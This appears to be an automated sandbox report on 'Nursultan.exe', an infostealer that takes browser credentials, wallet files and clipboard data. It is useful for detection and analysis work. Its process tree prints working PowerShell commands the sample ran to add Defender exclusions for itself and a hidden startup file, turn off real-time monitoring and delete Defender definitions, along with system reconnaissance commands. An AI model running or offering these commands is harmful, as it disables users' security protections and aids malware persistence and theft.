991fd937d6f356bcf1054e4afc7e0e7a43510d79b2302e198c02b049170a0faa

Analysis

max time kernel
302s
max time network
308s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-12-2024 21:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nursultan.exe
Size

296.0MB
MD5

e18ae93882c28507a03470fbf914eaab
SHA1

d8844d9d3b57a4f3d403d2a41c0769aeef17efb6
SHA256

991fd937d6f356bcf1054e4afc7e0e7a43510d79b2302e198c02b049170a0faa
SHA512

1e7ef9f86c88353a9da08d6ed7cf6c04b9ad2ca18081f1fe7a7b30b80374c98e41f55d4c97b216ee6fd29f2c183410afe14f151c5de1537a031dbd64ef184603
SSDEEP

98304:NtDjWM8JEE1FXAnamaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYRJJcGhEIA:Nt0tAKeNTfm/pf+xk4dWRpmrbW3jmr+

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1516	powershell.exe
1128	powershell.exe
3456	powershell.exe
4572	powershell.exe
956	powershell.exe
1704	powershell.exe
3068	powershell.exe
4148	powershell.exe
6008	powershell.exe
5228	powershell.exe

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Nursultan.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Nursultan.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3016	cmd.exe
4728	powershell.exe
2820	cmd.exe
1256	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5052	rar.exe
640	rar.exe

Loads dropped DLL 33 IoCs

pid	Process
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
2828	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe
3056	Nursultan.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com
27	ip-api.com
54	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 11 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSStmp.log	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00001.jrs	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSSres00002.jrs	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.jfm	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.chk	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jcp	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.log	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\DataSharing\Storage\DSS.jtx	svchost.exe

Enumerates processes with tasklist 1 TTPs 10 IoCs

discovery

Process Discovery

T1057

pid	Process
3596	tasklist.exe
4616	tasklist.exe
2396	tasklist.exe
4460	tasklist.exe
1664	tasklist.exe
2264	tasklist.exe
3632	tasklist.exe
1660	tasklist.exe
5660	tasklist.exe
760	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023c88-21.dat	upx
behavioral1/memory/2828-25-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp	upx
behavioral1/files/0x0007000000023c82-46.dat	upx
behavioral1/memory/2828-48-0x00007FFCE4360000-0x00007FFCE436F000-memory.dmp	upx
behavioral1/memory/2828-47-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp	upx
behavioral1/files/0x0007000000023c81-45.dat	upx
behavioral1/files/0x0007000000023c80-44.dat	upx
behavioral1/files/0x0007000000023c7f-43.dat	upx
behavioral1/files/0x0007000000023c7e-42.dat	upx
behavioral1/files/0x0007000000023c7d-41.dat	upx
behavioral1/files/0x0007000000023c7c-40.dat	upx
behavioral1/memory/2828-54-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp	upx
behavioral1/files/0x0007000000023c7a-39.dat	upx
behavioral1/files/0x0007000000023c8d-38.dat	upx
behavioral1/files/0x0007000000023c8c-37.dat	upx
behavioral1/files/0x0007000000023c8b-36.dat	upx
behavioral1/files/0x0007000000023c87-33.dat	upx
behavioral1/files/0x0007000000023c85-32.dat	upx
behavioral1/files/0x0007000000023c86-30.dat	upx
behavioral1/files/0x0007000000023c7b-28.dat	upx
behavioral1/memory/2828-60-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp	upx
behavioral1/memory/2828-66-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp	upx
behavioral1/memory/2828-71-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp	upx
behavioral1/memory/2828-75-0x00007FFCDAE70000-0x00007FFCDAE84000-memory.dmp	upx
behavioral1/memory/2828-74-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp	upx
behavioral1/memory/2828-77-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp	upx
behavioral1/memory/2828-80-0x00007FFCCAE90000-0x00007FFCCAFAC000-memory.dmp	upx
behavioral1/memory/2828-78-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp	upx
behavioral1/memory/2828-70-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp	upx
behavioral1/memory/2828-65-0x00007FFCDC160000-0x00007FFCDC16D000-memory.dmp	upx
behavioral1/memory/2828-64-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp	upx
behavioral1/memory/2828-59-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp	upx
behavioral1/memory/2828-57-0x00007FFCDB730000-0x00007FFCDB749000-memory.dmp	upx
behavioral1/memory/2828-92-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp	upx
behavioral1/memory/2828-91-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp	upx
behavioral1/memory/2828-119-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp	upx
behavioral1/memory/2828-162-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp	upx
behavioral1/memory/2828-163-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp	upx
behavioral1/memory/2828-226-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp	upx
behavioral1/memory/2828-231-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp	upx
behavioral1/memory/2828-297-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp	upx
behavioral1/memory/2828-296-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp	upx
behavioral1/memory/2828-302-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp	upx
behavioral1/memory/2828-338-0x00007FFCE4360000-0x00007FFCE436F000-memory.dmp	upx
behavioral1/memory/2828-349-0x00007FFCCAE90000-0x00007FFCCAFAC000-memory.dmp	upx
behavioral1/memory/2828-348-0x00007FFCDB890000-0x00007FFCDB89D000-memory.dmp	upx
behavioral1/memory/2828-347-0x00007FFCDAE70000-0x00007FFCDAE84000-memory.dmp	upx
behavioral1/memory/2828-346-0x00007FFCCAFB0000-0x00007FFCCB325000-memory.dmp	upx
behavioral1/memory/2828-345-0x00007FFCCB330000-0x00007FFCCB3E8000-memory.dmp	upx
behavioral1/memory/2828-344-0x00007FFCD8330000-0x00007FFCD835E000-memory.dmp	upx
behavioral1/memory/2828-343-0x00007FFCDC160000-0x00007FFCDC16D000-memory.dmp	upx
behavioral1/memory/2828-342-0x00007FFCDB2E0000-0x00007FFCDB2F9000-memory.dmp	upx
behavioral1/memory/2828-341-0x00007FFCCB3F0000-0x00007FFCCB563000-memory.dmp	upx
behavioral1/memory/2828-340-0x00007FFCDB730000-0x00007FFCDB749000-memory.dmp	upx
behavioral1/memory/2828-339-0x00007FFCDB510000-0x00007FFCDB53D000-memory.dmp	upx
behavioral1/memory/2828-337-0x00007FFCDB540000-0x00007FFCDB564000-memory.dmp	upx
behavioral1/memory/2828-336-0x00007FFCCB6B0000-0x00007FFCCBC98000-memory.dmp	upx
behavioral1/memory/2828-326-0x00007FFCDB300000-0x00007FFCDB323000-memory.dmp	upx
behavioral1/memory/3056-371-0x00007FFCC9B60000-0x00007FFCCA148000-memory.dmp	upx
behavioral1/memory/3056-372-0x00007FFCD8330000-0x00007FFCD8354000-memory.dmp	upx
behavioral1/memory/3056-373-0x00007FFCDC160000-0x00007FFCDC16F000-memory.dmp	upx
behavioral1/memory/3056-378-0x00007FFCD5B30000-0x00007FFCD5B5D000-memory.dmp	upx
behavioral1/memory/3056-379-0x00007FFCDAE70000-0x00007FFCDAE89000-memory.dmp	upx
behavioral1/memory/3056-380-0x00007FFCCB770000-0x00007FFCCB793000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2812	cmd.exe
4240	netsh.exe
4788	cmd.exe
216	netsh.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Detects videocard installed 1 TTPs 6 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5732	WMIC.exe
2156	WMIC.exe
4728	WMIC.exe
2112	WMIC.exe
3748	WMIC.exe
3548	WMIC.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3032	systeminfo.exe
4720	systeminfo.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	mspaint.exe
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
956	powershell.exe
956	powershell.exe
956	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
1516	powershell.exe
1516	powershell.exe
4728	powershell.exe
4728	powershell.exe
4728	powershell.exe
4624	powershell.exe
4624	powershell.exe
4624	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
3068	powershell.exe
3068	powershell.exe
3068	powershell.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
4148	powershell.exe
4148	powershell.exe
1128	powershell.exe
1128	powershell.exe
4148	powershell.exe
1128	powershell.exe
3456	powershell.exe
3456	powershell.exe
3456	powershell.exe
1256	powershell.exe
1256	powershell.exe
1212	powershell.exe
1212	powershell.exe
1256	powershell.exe
1212	powershell.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe
548	powershell.exe
548	powershell.exe
548	powershell.exe
5228	powershell.exe
5228	powershell.exe
5228	powershell.exe
1416	powershell.exe
1416	powershell.exe
1416	powershell.exe
6096	mspaint.exe
6096	mspaint.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemProfilePrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeProfSingleProcessPrivilege	1104	WMIC.exe
Token: SeIncBasePriorityPrivilege	1104	WMIC.exe
Token: SeCreatePagefilePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeDebugPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeRemoteShutdownPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: 33	1104	WMIC.exe
Token: 34	1104	WMIC.exe
Token: 35	1104	WMIC.exe
Token: 36	1104	WMIC.exe
Token: SeDebugPrivilege	760	tasklist.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemProfilePrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeProfSingleProcessPrivilege	1104	WMIC.exe
Token: SeIncBasePriorityPrivilege	1104	WMIC.exe
Token: SeCreatePagefilePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeDebugPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeRemoteShutdownPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: 33	1104	WMIC.exe
Token: 34	1104	WMIC.exe
Token: 35	1104	WMIC.exe
Token: 36	1104	WMIC.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	WMIC.exe
Token: SeSecurityPrivilege	2156	WMIC.exe
Token: SeTakeOwnershipPrivilege	2156	WMIC.exe
Token: SeLoadDriverPrivilege	2156	WMIC.exe
Token: SeSystemProfilePrivilege	2156	WMIC.exe
Token: SeSystemtimePrivilege	2156	WMIC.exe
Token: SeProfSingleProcessPrivilege	2156	WMIC.exe
Token: SeIncBasePriorityPrivilege	2156	WMIC.exe
Token: SeCreatePagefilePrivilege	2156	WMIC.exe
Token: SeBackupPrivilege	2156	WMIC.exe
Token: SeRestorePrivilege	2156	WMIC.exe
Token: SeShutdownPrivilege	2156	WMIC.exe
Token: SeDebugPrivilege	2156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2156	WMIC.exe
Token: SeRemoteShutdownPrivilege	2156	WMIC.exe
Token: SeUndockPrivilege	2156	WMIC.exe
Token: SeManageVolumePrivilege	2156	WMIC.exe
Token: 33	2156	WMIC.exe
Token: 34	2156	WMIC.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
2708	7zG.exe
5164	firefox.exe
5164	firefox.exe

Suspicious use of SendNotifyMessage 22 IoCs

pid	Process
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe
5164	firefox.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
6096	mspaint.exe
5124	OpenWith.exe
5164	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 2828	4112	Nursultan.exe	85
PID 4112 wrote to memory of 2828	4112	Nursultan.exe	85
PID 2828 wrote to memory of 2812	2828	Nursultan.exe	88
PID 2828 wrote to memory of 2812	2828	Nursultan.exe	88
PID 2828 wrote to memory of 3732	2828	Nursultan.exe	89
PID 2828 wrote to memory of 3732	2828	Nursultan.exe	89
PID 2828 wrote to memory of 1704	2828	Nursultan.exe	92
PID 2828 wrote to memory of 1704	2828	Nursultan.exe	92
PID 2828 wrote to memory of 2176	2828	Nursultan.exe	95
PID 2828 wrote to memory of 2176	2828	Nursultan.exe	95
PID 2176 wrote to memory of 1104	2176	cmd.exe	98
PID 2176 wrote to memory of 1104	2176	cmd.exe	98
PID 1704 wrote to memory of 760	1704	cmd.exe	97
PID 1704 wrote to memory of 760	1704	cmd.exe	97
PID 2812 wrote to memory of 4572	2812	cmd.exe	99
PID 2812 wrote to memory of 4572	2812	cmd.exe	99
PID 3732 wrote to memory of 956	3732	cmd.exe	100
PID 3732 wrote to memory of 956	3732	cmd.exe	100
PID 2828 wrote to memory of 1064	2828	Nursultan.exe	103
PID 2828 wrote to memory of 1064	2828	Nursultan.exe	103
PID 1064 wrote to memory of 3952	1064	cmd.exe	105
PID 1064 wrote to memory of 3952	1064	cmd.exe	105
PID 2828 wrote to memory of 1296	2828	Nursultan.exe	106
PID 2828 wrote to memory of 1296	2828	Nursultan.exe	106
PID 1296 wrote to memory of 4508	1296	cmd.exe	108
PID 1296 wrote to memory of 4508	1296	cmd.exe	108
PID 2828 wrote to memory of 2192	2828	Nursultan.exe	109
PID 2828 wrote to memory of 2192	2828	Nursultan.exe	109
PID 2192 wrote to memory of 2156	2192	cmd.exe	111
PID 2192 wrote to memory of 2156	2192	cmd.exe	111
PID 2828 wrote to memory of 4784	2828	Nursultan.exe	112
PID 2828 wrote to memory of 4784	2828	Nursultan.exe	112
PID 4784 wrote to memory of 4728	4784	cmd.exe	114
PID 4784 wrote to memory of 4728	4784	cmd.exe	114
PID 2828 wrote to memory of 3456	2828	Nursultan.exe	115
PID 2828 wrote to memory of 3456	2828	Nursultan.exe	115
PID 3456 wrote to memory of 1516	3456	cmd.exe	117
PID 3456 wrote to memory of 1516	3456	cmd.exe	117
PID 2828 wrote to memory of 1368	2828	Nursultan.exe	119
PID 2828 wrote to memory of 1368	2828	Nursultan.exe	119
PID 2828 wrote to memory of 4732	2828	Nursultan.exe	120
PID 2828 wrote to memory of 4732	2828	Nursultan.exe	120
PID 2828 wrote to memory of 116	2828	Nursultan.exe	162
PID 2828 wrote to memory of 116	2828	Nursultan.exe	162
PID 1368 wrote to memory of 4460	1368	cmd.exe	125
PID 1368 wrote to memory of 4460	1368	cmd.exe	125
PID 2828 wrote to memory of 3016	2828	Nursultan.exe	126
PID 2828 wrote to memory of 3016	2828	Nursultan.exe	126
PID 4732 wrote to memory of 1664	4732	cmd.exe	128
PID 4732 wrote to memory of 1664	4732	cmd.exe	128
PID 2828 wrote to memory of 2816	2828	Nursultan.exe	129
PID 2828 wrote to memory of 2816	2828	Nursultan.exe	129
PID 2828 wrote to memory of 816	2828	Nursultan.exe	130
PID 2828 wrote to memory of 816	2828	Nursultan.exe	130
PID 2828 wrote to memory of 2812	2828	Nursultan.exe	133
PID 2828 wrote to memory of 2812	2828	Nursultan.exe	133
PID 2828 wrote to memory of 2236	2828	Nursultan.exe	135
PID 2828 wrote to memory of 2236	2828	Nursultan.exe	135
PID 2828 wrote to memory of 3536	2828	Nursultan.exe	136
PID 2828 wrote to memory of 3536	2828	Nursultan.exe	136
PID 2828 wrote to memory of 180	2828	Nursultan.exe	138
PID 2828 wrote to memory of 180	2828	Nursultan.exe	138
PID 3016 wrote to memory of 4728	3016	cmd.exe	141
PID 3016 wrote to memory of 4728	3016	cmd.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5060	attrib.exe
2076	attrib.exe
5280	attrib.exe
5508	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4112
- C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
  "C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1704
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1064
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:3952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1296
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2192
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:2156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎‏ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
